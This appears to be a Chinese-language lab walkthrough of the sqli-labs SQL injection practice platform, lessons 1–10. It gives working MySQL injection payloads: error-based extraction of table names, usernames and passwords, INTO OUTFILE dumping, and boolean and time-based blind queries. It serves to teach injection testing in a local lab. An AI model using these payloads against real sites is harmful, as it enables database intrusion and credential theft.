这里介绍一下一套优秀的训练sql注入的平台.下载地址–>点击
直接开始–
推荐使用Firefox下的Hacker插件进行测试,实验环境就在虚拟机放在里面就可以了.
注:猜测不出来可以去审计源码试一试.

1.GET-基于错误-单引号-字符型(这个在目录中有)
首先先修改url添加?id=1,观察回显结果

可以去修改id值试试,观察返回的结果.
这个时候我们就可以去猜测sql的查询语句:

1
select username,password from table where id = $id

接下来就去检验我们想法的是否正确.
使用 and 1=1 和 and 1=2 eg: ?id=1 and 1=1 或者 and 1=2 如果我们猜测正确那么这两个url返回的页面是不同的。


可是发现返回结果是一样的,那么表明sql查询语句猜测错误.
这个时候我们就要用到常用的一些测试方法,这些测试方法都是为了能猜测出sql语句.
一般是在参数之后面添加特殊符号(‘,”,),(,\,…)可以存在组合的形式.
先测试单引号.


发现报错,错误段代码先复制下来.
1
2
near ' ' 1' ' LIMIT 0,1 ' at line 1
像上面一样分开,你的输入是1'

这个时候能猜测出正确的sql查询语句了:
1
select username,password from table where id = '$id'

简单的闭合绕过:1.利用单引号闭合2.利用注释符(不同的数据库之间的注释符存在差异)
测试的结果:


(注:关于注释符 ‘- -空格’中的空格是可以用+替换的)
无效的界面,什么都不显示(类似404的效果):

以后的Less会变得简洁.

2.GET-基于错误-数字型
这是数字型的,所以就不需要去特殊符号测试了.(当然这里是已知)


这里可以看到不同的界面.
查询语句:
1
select username,password form table where id = $id

利用
1
?id=$id+"sql语句"

3.GET-基于错误-单引号变形-字符型


错误:

查询语句:
1
select username,password form table where id = ('$id')



返回正常
利用
1
?id=$id') +"sql语句"+"--+"

4.GET-基于错误-双引号-字符型


错误:

查询语句:
1
select username,password from table where id = ("$id")


正常页面.

错误页面.
不同页面的原因:
我们先看下完整的sql语句.
1
2
3
4
5
6
第一条:
select username,password from table where id=("1") and 1=1 --+")
这个个语句where 是判断,后面的是条件, 1=1 为永真条件,--+把后面的")注释掉,and为并列.
第二条:
select username,password from table where id=("2") and 1=2 --+")
这个语句就是1=2为永假,所以页面返回错误.

利用
1
?id=$id") +"sql语句"+"--+"

5&6.GET-基于错误-单双引号-报错注入
sql知识介绍:
order by “number” number:字段号.具体的含义是将number字段排序
count():统计记录的条数
rand():产生0~1的随机数
floor():向下取整
group by:依据规则进行分组
union:联合查询,执行多条sql语句
limit x,y:x为起始量,y为偏移量.
concat():聚合函数


报错:

继续测试:

发现页面相同.

查看源码:sql语句和处理方法.


由于处理不会将数据库的数据显示出来,不过可以利用特定的sql语句达到报错注入的目的.
报错注入原理:将Group by clause与一个聚合函数一起使用,例如count(*),可以将查询的部分内容作为错误信息返回.
1
2
3
4
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b )  --+
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b ) --+
?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b ) --+
http://192.168.245.143/sql/Less-5/?id=1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b ) --+

上面的回显依次是:

0或1都是正确的.有时没有出现要多刷几次.

这个是得到了security下的第一张表的名称.可以用limit偏移找到用户表.

得到user表的username字段内容.

得到user表的password字段内容.

1
2
3
paylod;
less5:?id=$id' and (select 1 from (select count(*),concat(0x3a,0x3a,"sql语句",0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b ) --+
less6:?id=$id" and (select 1 from (select count(*),concat(0x3a,0x3a,"sql语句",0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b ) --+

7.GET-dump into outfile-String
sql函数介绍:

1
2
3
outfile:将内容导入一个文本文件,用法--select * from tablename into outfile '文件路径'.
dumpfile:将内容导入一个文本文件,用法--select * from tablename limit x,y into outfile '文件路径'.(只导入文件的第一行内容)所以需要用limit x,y).
load_file:将文件内容显示出来。用法--select load_file('文件路径').

测试:

猜测字段长度:

字段长度为3,验证字段长度.

查看是否具有文件的读写权限.

向指定路径写入文件测试.

查看文件.


写入成功.将所有的用户信息导出.



不过一般不会具有写文件权限的,所以了解一下用法即可.就不写payload了.

8.GET-盲注-基于布尔-字符型
盲注:根据返回的界面是true,flase来区分猜测语句是否正确,盲注主要是来猜测想要要的到的信息,不过比较耗时间.
php函数介绍:
ord():返回提取字符的ascii码.
sql函数:
ascii():返回提取字符的ascii码.
substring(string,x,y):截取相应的字符.
mysql函数:
mid(string,x,y):截取相应的字符.
猜测:


盲注测试:

布尔盲注payload:
1
2
3
4
id=1' and ascii(substring(database(),1,1))>x --+  //x是ascii值,根据返回的页面用来猜测即可
id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>x --+ //猜测表名,"1,1"可以变换的
id=1' and ascii(substring((select column_name from information_schema.columns where table_name=tablename limit 0,1),1,1))>x --+ //猜测字段名.
id=1' and ascii(substring((select column_name from user limit 0,1),1,1))>x --+ //猜测字段内容.

布尔盲注的特点:只能根据页面的回显来判断是否猜测正确.

9&10.GET-盲注-基于时间-单双引号-字符型
基于时间:和基于布尔的差别在于,它的页面设定就是只有正确的返回.所以需要用到函数.
sql函数:
sleep(n):将程序挂起一段时间
if(expr1,expr2,expr3):判断语句
审查源代码:


猜测语句:

测试语句:

测试语句的含义是如果当前数据库名为’security’,页面刷新需要2秒左右(有明显的延时感觉).
时间盲注payload:
1
2
3
d=1' and if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,sleep(2),1)  --+ //猜测表名
id=1' and if(ord(mid((select column_name from information_schema.columns where table_name='tablename' limit 0,1),1,1))>0,sleep(2),1) --+ //猜测字段名
id=1' and if(ord(mid((select column_name from tablename limit 0,1),1,1))>0,sleep(2),1) --+ //猜测字段内容

时间盲注:根据页面回显的延时感判断.
less-10就是单引号变成双引号.